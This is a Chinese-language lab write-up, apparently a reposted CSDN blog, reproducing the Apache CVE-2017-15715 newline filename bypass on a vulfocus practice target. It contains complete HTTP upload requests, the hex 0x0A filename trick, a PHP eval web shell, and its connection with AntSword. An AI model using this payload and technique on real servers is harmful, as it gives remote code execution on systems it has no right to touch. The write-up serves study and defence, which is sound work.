apache 文件上传 (CVE-2017-15715)漏洞复现


所有文章,仅供安全研究与学习之用,后果自负!

apache 文件上传 (CVE-2017-15715)

0x01 漏洞描述

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略

0x02 影响范围

Apache HTTPd 2.4.0~2.4.29

0x03 漏洞复现

写入phpinfo

(1)打开靶场

在这里插入图片描述
发现是空页面

抓包
在这里插入图片描述
发现响应包中

Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.5.38

存在 apache解析漏洞 可以绕过php黑名单限制

然而 没有上传页面 尝试直接 修改为POST 添加 上传文件请求
(2) 尝试 上传 写了

<?php phpinfo(); ?>

内容的 1.php文件

请求包 和响应包如下

POST / HTTP/1.1
Host: vulfocus.fofa.so:50892 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"

1.php
-----------------------------9552222486401230933854482358--

在这里插入图片描述
bad file 上传失败

上传1.php.xxx
如下图 上传成功 说明 是php的黑名单拦截
在这里插入图片描述
(4) 利用 该版本存在的漏洞进行利用尝试

思路是: 修改1.php后的hex为0a 

在这里插入图片描述

先将名字 改为1.phpaaaaa
a的hex值为61
多写几个 方便寻找

在这里插入图片描述

将其第一个61 改为0a
在这里插入图片描述
变为这样
在这里插入图片描述

然后删去多出来的aaa
注意a删完 留下空行

否则就会上传失败,再次修改名字上传

在这里插入图片描述

(5)访问上传后的 文件 看是否解析

注意 文件明后需要加%0A

http://ip:port/6.php%0A
http://vulfocus.fofa.so:16858/6.php%0A

发现解析成功
在这里插入图片描述

连接webshell

POST / HTTP/1.1
Host: vulfocus.fofa.so:16858
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 369
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php eval($_REQUEST[1]); ?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"

6.php

-----------------------------9552222486401230933854482358--

在这里插入图片描述
传参 测试 写入是否成功
在这里插入图片描述

蚁剑连接webshell

在这里插入图片描述

在这里插入图片描述

0x04 漏洞修复

升级apache版本

总结

先通过 响应包的 server 和 x-powered-by获得apache和php版本

然后 利用 apache该版本存在的解析漏洞 进行黑名单绕过

上传file名字后边 x.phpaaaa 修改第一个a的hex61为0a然后删去其他a
上传成功后

访问 http://ip:port/x.php%0a 看是否成功解析

猜你喜欢

转载自blog.csdn.net/YouthBelief/article/details/121258770